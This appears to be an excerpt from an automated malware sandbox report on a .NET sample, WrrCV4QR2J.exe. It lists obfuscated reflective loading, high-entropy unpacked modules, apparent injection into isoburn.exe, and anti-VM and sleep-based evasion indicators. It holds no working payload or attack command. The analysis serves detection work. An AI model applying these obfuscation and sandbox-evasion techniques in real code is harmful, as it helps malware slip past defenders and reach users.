Source:	Binary string: firefox.pdb source: isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: WrrCV4QR2J.exe, Token_Toolbar.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	.Net Code: jyoK6eXlCS System.Reflection.Assembly.Load(byte[])
Source: 0.2.WrrCV4QR2J.exe.2ea469c.3.raw.unpack, -Module-.cs	.Net Code: _200F_206E_202A_202D_206F_206B_202A_202D_206D_200F_206F_200E_202A_200C_200C_206C_202D_206F_202E_206D_200E_206D_200E_200F_202B_202B_200F_200E_200C_206D_202A_202A_202D_200F_202E_202B_202C_202A_200C_200F_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.WrrCV4QR2J.exe.2ea469c.3.raw.unpack, wA.cs	.Net Code: _202C_206C_202E_202C_200D_200D_200F_200D_202D_202C_206F_202A_206B_202D_202D_202D_200C_206E_206E_200B_200B_202D_200C_200F_202D_206A_202A_206A_200C_202A_200B_202C_206D_202C_202E_206E_200B_206D_206E_206B_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.WrrCV4QR2J.exe.5ac0000.6.raw.unpack, -Module-.cs	.Net Code: _200F_206E_202A_202D_206F_206B_202A_202D_206D_200F_206F_200E_202A_200C_200C_206C_202D_206F_202E_206D_200E_206D_200E_200F_202B_202B_200F_200E_200C_206D_202A_202A_202D_200F_202E_202B_202C_202A_200C_200F_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.WrrCV4QR2J.exe.5ac0000.6.raw.unpack, wA.cs	.Net Code: _202C_206C_202E_202C_200D_200D_200F_200D_202D_202C_206F_202A_206B_202D_202D_202D_200C_206E_206E_200B_200B_202D_200C_200F_202D_206A_202A_206A_200C_202A_200B_202C_206D_202C_202E_206E_200B_206D_206E_206B_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	.Net Code: jyoK6eXlCS System.Reflection.Assembly.Load(byte[])
Source: 4.2.isoburn.exe.4cc3814.2.raw.unpack, Token_Toolbar.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 6.2.UHPrrMeffyCaz.exe.2753814.1.raw.unpack, Token_Toolbar.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DB3AD7 push ebx; retf	0_2_02DB3ADA
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_02DBC845 push FFFFFF8Bh; iretd	0_2_02DBC847
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_054F8D6A push esp; retf	0_2_054F8D71
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_054F8B5A pushad ; retf	0_2_054F8D69
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 0_2_054F7FD0 pushad ; ret	0_2_054F7FD1
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0042B882 push eax; ret	2_2_0042B884
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00401887 push ebp; retf	2_2_00401889
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040509B push FFFFFFF5h; ret	2_2_0040509F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040D1DC pushad ; retf	2_2_0040D1E9
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_004049AE push ebp; retf	2_2_004049B0
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00401A15 push esp; retf	2_2_00401A2F
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_004032D0 push eax; ret	2_2_004032D2
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00413AD2 push ebp; retf	2_2_00413AD5
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00401AF6 push ebp; iretd	2_2_00401AFA
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00407C3E push ecx; ret	2_2_00407C51
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040CD3A push edx; ret	2_2_0040CD3B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00404DF4 push ebp; retf	2_2_00404DF8
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_00429603 push edi; ret	2_2_0042960C
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0041AE3A push ebp; retf	2_2_0041AE3B
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_0040175B push ebp; retf	2_2_00401774
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Code function: 2_2_015709AD push ecx; mov dword ptr [esp], ecx	2_2_015709B6
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_05010F59 push edx; ret	3_2_05010F5A
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_0500BE5D push ecx; ret	3_2_0500BE70
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_0502A167 push ebx; retf	3_2_0502A168
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_05009013 push ebp; retf	3_2_05009017
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_0502D81E push edi; ret	3_2_0502D82B
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_0502D822 push edi; ret	3_2_0502D82B
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_05029865 pushad ; retf	3_2_05029868
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_0502A099 push cs; retf	3_2_0502A0A3
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_05008BCD push ebp; retf	3_2_05008BCF
Source: C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe	Code function: 3_2_050113FB pushad ; retf	3_2_05011408

Source: initial sample

Static PE information: section name: .text entropy: 7.765104825647267

Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, uZsT5V3p7CYwSeRgrW.cs	High entropy of concatenated method names: 'UrEkVrepPu', 'hCokTotoli', 'EntkSXy8FU', 'Cftkgs0Msi', 'SoPkuyxMAX', 'f0akHvnqGL', 'HGNkF3N0MO', 'uiBkmA56vc', 'l3WkDDxIbE', 'gDSkfGO8vP'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, vJvTF9KnSxFhHg9rBx.cs	High entropy of concatenated method names: 'RCMqOZsT5V', 'P7CqYYwSeR', 'kkQqeb4pO4', 'KxRqNLxP5N', 'pX2qsbww4y', 'zKKqJVo3yI', 'i7aiMqtV6h38sjYM5N', 'UmgqiphQJZkwQgRmRh', 'EeTqqwQy9B', 'ORSqAusJEF'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, CjNX4FSnioVjqLZ3xh.cs	High entropy of concatenated method names: 'ToString', 'UELJ4bvwjS', 'CLyJdqHmiX', 'CKBJjlZGuY', 'bdcJQe92MZ', 'AODJ8GCgho', 'uEUJEQKLGF', 'L2lJL8GX7D', 'spgJxAC9DW', 'c3yJil9k6u'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, V66FEgql8oeukKBV1lM.cs	High entropy of concatenated method names: 'd2xCoVxhaD', 'q0TCbe9yqy', 'x4yC6CtBMe', 'GhBCvpSWYm', 'B3uC2C6p32', 'svTCaqtmlS', 'u06Cy899LN', 'ixsC3RVVeN', 'LvECroTUGC', 'uuBCZ6F6ro'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, iQx60RHa0qKYPf3Z8O.cs	High entropy of concatenated method names: 'fQstmI0fBW', 'e7ItfYhtqw', 'vDWIl5lcJa', 'cruIqw4PPM', 'omYt4MJYrH', 'j0ltpT7VVt', 'gpftR6aOlM', 'dwNtV6sMBh', 'poJtTO3qa3', 'hH9tSp4uZw'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, S3Mfu2L0P6ZYqF8JDx.cs	High entropy of concatenated method names: 'f3eOcvDc0B', 'gRuOBOtO0n', 'zABOhBbqok', 'IvRhfy9Rn7', 'n3DhzWmxMs', 'MONOlb1beT', 'cyWOqCdHxl', 'iwSO5sC9KA', 'yIYOAjyLiC', 'slNOKS7cW3'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, MP5NrvZQ26MmltX2bw.cs	High entropy of concatenated method names: 'cZOW2y4bYO', 'kGdWy9JsmQ', 'CIZBjPdnAg', 'kkVBQL3nEc', 'QRwB8DfX4t', 'J44BEFc2Rd', 'AXsBL6tjme', 'ERJBxYetUK', 'eA3BiApgAF', 'AReBP3fwKB'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, RbqhOUqA7QhOoEjcRkO.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'iuv0VtqOnh', 'slX0TU0wwn', 'ljB0SECqEo', 'EUp0gcUbrd', 'Yv00uNUrf3', 'DVp0Hq96Dl', 'wit0Fvtxjj'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, GJEHX3fv9BeMEunr8v.cs	High entropy of concatenated method names: 'uH6Cq5ow9h', 'TEFCA6iDCo', 'Ho3CK0HqK5', 'ckQCcBhfXv', 'UpyCkOu31i', 'hfrCWCVBZP', 'f2fCh8ICet', 'V1CIFOGWFO', 'TKBImRwVPK', 'K6AIDd9U5v'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, GCdZAjBqwOnwwqiAmv.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Vca5D9x1sc', 'w2j5fLRVGS', 'Yn35zSjEY4', 'ExHAlrhjl1', 'C1gAqIxplb', 'SZpA5HHY1Q', 'JJOAAR5hKc', 'g0vgFCBxJcCTMOyTqyX'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	High entropy of concatenated method names: 'FauAXwqwxA', 'QwtAcMfrVd', 'UB9Ak3cwLX', 'xkOABy0YT0', 'VUXAWTCGs3', 'xlQAhgtp3n', 'dwLAO4ufc4', 'uSJAYNRDBM', 'orpAn8xTK0', 'pdvAeXKVOu'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, QgjsJYrkQb4pO4ExRL.cs	High entropy of concatenated method names: 'ORuBvVxDjh', 'a5WBaqqp3e', 'B1DB3jPqN8', 'kDqBrRgQP1', 'OI2BssjTpr', 'QvsBJc4EsI', 'skgBtC7dh7', 'hUIBI9q64d', 'JVABCJUtNk', 'C4IB0PeOm9'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, tm1DnHztQw0jTPAyiw.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nSHCwMCQey', 'SydCsj6yxM', 'bs5CJDx4YK', 'ocSCtqNPNn', 'PKgCIAttT0', 'NSvCCWHSuI', 'SkVC02tA1p'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, n4y6KK7Vo3yIB06LCb.cs	High entropy of concatenated method names: 'XNuhXpmUl6', 'zMUhkIABI0', 'zj2hW6gZZX', 'R6uhO6sfv6', 'yjThY6FFc4', 'aUFWuDPPVQ', 'k5eWHWmUZ1', 'Bu5WFZQ7CU', 'gKpWmOu8G7', 'yrAWDvq7dT'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, CQsihPRp2QqDfJ2WSG.cs	High entropy of concatenated method names: 'BNsw3YVVaS', 'F65wrrRnDL', 'wDZw7WcFdk', 'PppwdAGxJE', 'qVkwQGeYgn', 'PyMw801swy', 'Ue6wLESeqI', 'Ykowx05OXQ', 'rgrwPOoZTP', 'q4iw47g68E'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, GnP3Iym1crZI6i4xA4.cs	High entropy of concatenated method names: 'dRwIcDbpt2', 'oavIkQ41Yn', 'pvFIBfAW3l', 'ca6IWVxWLP', 'ew8IhUo8th', 'oYFIOwoX4r', 'ERWIYGybIC', 'QpTInfRjBE', 'WueIe3gfNd', 'w2RIN7xlYa'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, RSWgxp5kdrRP34y6Vl.cs	High entropy of concatenated method names: 'K1q6bqlRG', 'YuXvfvPVN', 'cFraLwpgk', 'iFuyNTKIj', 'tbpreUUth', 'elrZw0Qkt', 'V1xbuhksBZHS3doqyW', 'YKtbkNfeVsmjDISpgJ', 'YciI2bsM9', 'HD10x6K3T'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, ADARcmkG3iF4hU5dFs.cs	High entropy of concatenated method names: 'Dispose', 'oANqDsOhFo', 'oF35dJLQt0', 'k1Booq37m8', 'D7nqfP3Iy1', 'frZqzI6i4x', 'ProcessDialogKey', 'c485lXwPDC', 'qDf5qJFfBe', 'MD9557JEHX'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, iCCk6PiX0UnT0YF2Ph.cs	High entropy of concatenated method names: 'O1UOo4utxI', 'xaHObRiZI6', 's05O6k2Er2', 'mchOvlNdJN', 'p1DO26fxXO', 'lUmOaHss6D', 'o6HOydgXJC', 'fhEO3iDWQr', 'ni7OrXPfhb', 'jGlOZiCo4j'
Source: 0.2.WrrCV4QR2J.exe.3fbebe0.5.raw.unpack, HtYtbfVAJQd3LvHq3J.cs	High entropy of concatenated method names: 'oTxsPJXxpQ', 'lGZsp8YUpw', 'SaysV8sjwa', 'W24sTCoCtf', 'jaXsdTxQHi', 'fo6sjH7TIW', 'cNusQS9vEP', 'mnGs8iwwYy', 'T4GsEOsC5W', 'tgUsLDfi5g'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, uZsT5V3p7CYwSeRgrW.cs	High entropy of concatenated method names: 'UrEkVrepPu', 'hCokTotoli', 'EntkSXy8FU', 'Cftkgs0Msi', 'SoPkuyxMAX', 'f0akHvnqGL', 'HGNkF3N0MO', 'uiBkmA56vc', 'l3WkDDxIbE', 'gDSkfGO8vP'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, vJvTF9KnSxFhHg9rBx.cs	High entropy of concatenated method names: 'RCMqOZsT5V', 'P7CqYYwSeR', 'kkQqeb4pO4', 'KxRqNLxP5N', 'pX2qsbww4y', 'zKKqJVo3yI', 'i7aiMqtV6h38sjYM5N', 'UmgqiphQJZkwQgRmRh', 'EeTqqwQy9B', 'ORSqAusJEF'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, CjNX4FSnioVjqLZ3xh.cs	High entropy of concatenated method names: 'ToString', 'UELJ4bvwjS', 'CLyJdqHmiX', 'CKBJjlZGuY', 'bdcJQe92MZ', 'AODJ8GCgho', 'uEUJEQKLGF', 'L2lJL8GX7D', 'spgJxAC9DW', 'c3yJil9k6u'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, V66FEgql8oeukKBV1lM.cs	High entropy of concatenated method names: 'd2xCoVxhaD', 'q0TCbe9yqy', 'x4yC6CtBMe', 'GhBCvpSWYm', 'B3uC2C6p32', 'svTCaqtmlS', 'u06Cy899LN', 'ixsC3RVVeN', 'LvECroTUGC', 'uuBCZ6F6ro'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, iQx60RHa0qKYPf3Z8O.cs	High entropy of concatenated method names: 'fQstmI0fBW', 'e7ItfYhtqw', 'vDWIl5lcJa', 'cruIqw4PPM', 'omYt4MJYrH', 'j0ltpT7VVt', 'gpftR6aOlM', 'dwNtV6sMBh', 'poJtTO3qa3', 'hH9tSp4uZw'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, S3Mfu2L0P6ZYqF8JDx.cs	High entropy of concatenated method names: 'f3eOcvDc0B', 'gRuOBOtO0n', 'zABOhBbqok', 'IvRhfy9Rn7', 'n3DhzWmxMs', 'MONOlb1beT', 'cyWOqCdHxl', 'iwSO5sC9KA', 'yIYOAjyLiC', 'slNOKS7cW3'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, MP5NrvZQ26MmltX2bw.cs	High entropy of concatenated method names: 'cZOW2y4bYO', 'kGdWy9JsmQ', 'CIZBjPdnAg', 'kkVBQL3nEc', 'QRwB8DfX4t', 'J44BEFc2Rd', 'AXsBL6tjme', 'ERJBxYetUK', 'eA3BiApgAF', 'AReBP3fwKB'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, RbqhOUqA7QhOoEjcRkO.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'iuv0VtqOnh', 'slX0TU0wwn', 'ljB0SECqEo', 'EUp0gcUbrd', 'Yv00uNUrf3', 'DVp0Hq96Dl', 'wit0Fvtxjj'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, GJEHX3fv9BeMEunr8v.cs	High entropy of concatenated method names: 'uH6Cq5ow9h', 'TEFCA6iDCo', 'Ho3CK0HqK5', 'ckQCcBhfXv', 'UpyCkOu31i', 'hfrCWCVBZP', 'f2fCh8ICet', 'V1CIFOGWFO', 'TKBImRwVPK', 'K6AIDd9U5v'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, GCdZAjBqwOnwwqiAmv.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Vca5D9x1sc', 'w2j5fLRVGS', 'Yn35zSjEY4', 'ExHAlrhjl1', 'C1gAqIxplb', 'SZpA5HHY1Q', 'JJOAAR5hKc', 'g0vgFCBxJcCTMOyTqyX'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, UZYrI4Yk8mLQXKp43V.cs	High entropy of concatenated method names: 'FauAXwqwxA', 'QwtAcMfrVd', 'UB9Ak3cwLX', 'xkOABy0YT0', 'VUXAWTCGs3', 'xlQAhgtp3n', 'dwLAO4ufc4', 'uSJAYNRDBM', 'orpAn8xTK0', 'pdvAeXKVOu'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, QgjsJYrkQb4pO4ExRL.cs	High entropy of concatenated method names: 'ORuBvVxDjh', 'a5WBaqqp3e', 'B1DB3jPqN8', 'kDqBrRgQP1', 'OI2BssjTpr', 'QvsBJc4EsI', 'skgBtC7dh7', 'hUIBI9q64d', 'JVABCJUtNk', 'C4IB0PeOm9'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, tm1DnHztQw0jTPAyiw.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nSHCwMCQey', 'SydCsj6yxM', 'bs5CJDx4YK', 'ocSCtqNPNn', 'PKgCIAttT0', 'NSvCCWHSuI', 'SkVC02tA1p'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, n4y6KK7Vo3yIB06LCb.cs	High entropy of concatenated method names: 'XNuhXpmUl6', 'zMUhkIABI0', 'zj2hW6gZZX', 'R6uhO6sfv6', 'yjThY6FFc4', 'aUFWuDPPVQ', 'k5eWHWmUZ1', 'Bu5WFZQ7CU', 'gKpWmOu8G7', 'yrAWDvq7dT'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, CQsihPRp2QqDfJ2WSG.cs	High entropy of concatenated method names: 'BNsw3YVVaS', 'F65wrrRnDL', 'wDZw7WcFdk', 'PppwdAGxJE', 'qVkwQGeYgn', 'PyMw801swy', 'Ue6wLESeqI', 'Ykowx05OXQ', 'rgrwPOoZTP', 'q4iw47g68E'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, GnP3Iym1crZI6i4xA4.cs	High entropy of concatenated method names: 'dRwIcDbpt2', 'oavIkQ41Yn', 'pvFIBfAW3l', 'ca6IWVxWLP', 'ew8IhUo8th', 'oYFIOwoX4r', 'ERWIYGybIC', 'QpTInfRjBE', 'WueIe3gfNd', 'w2RIN7xlYa'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, RSWgxp5kdrRP34y6Vl.cs	High entropy of concatenated method names: 'K1q6bqlRG', 'YuXvfvPVN', 'cFraLwpgk', 'iFuyNTKIj', 'tbpreUUth', 'elrZw0Qkt', 'V1xbuhksBZHS3doqyW', 'YKtbkNfeVsmjDISpgJ', 'YciI2bsM9', 'HD10x6K3T'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, ADARcmkG3iF4hU5dFs.cs	High entropy of concatenated method names: 'Dispose', 'oANqDsOhFo', 'oF35dJLQt0', 'k1Booq37m8', 'D7nqfP3Iy1', 'frZqzI6i4x', 'ProcessDialogKey', 'c485lXwPDC', 'qDf5qJFfBe', 'MD9557JEHX'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, iCCk6PiX0UnT0YF2Ph.cs	High entropy of concatenated method names: 'O1UOo4utxI', 'xaHObRiZI6', 's05O6k2Er2', 'mchOvlNdJN', 'p1DO26fxXO', 'lUmOaHss6D', 'o6HOydgXJC', 'fhEO3iDWQr', 'ni7OrXPfhb', 'jGlOZiCo4j'
Source: 0.2.WrrCV4QR2J.exe.7f10000.8.raw.unpack, HtYtbfVAJQd3LvHq3J.cs	High entropy of concatenated method names: 'oTxsPJXxpQ', 'lGZsp8YUpw', 'SaysV8sjwa', 'W24sTCoCtf', 'jaXsdTxQHi', 'fo6sjH7TIW', 'cNusQS9vEP', 'mnGs8iwwYy', 'T4GsEOsC5W', 'tgUsLDfi5g'

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: WrrCV4QR2J.exe PID: 4480, type: MEMORYSTR

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Code function: 2_2_015B096E rdtsc

2_2_015B096E

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\isoburn.exe

Window / User API: threadDelayed 9749

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	API coverage: 1.4 %
Source: C:\Windows\SysWOW64\isoburn.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe TID: 2816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe TID: 7384	Thread sleep count: 223 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe TID: 7384	Thread sleep time: -446000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe TID: 7384	Thread sleep count: 9749 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe TID: 7384	Thread sleep time: -19498000s >= -30000s	Jump to behavior
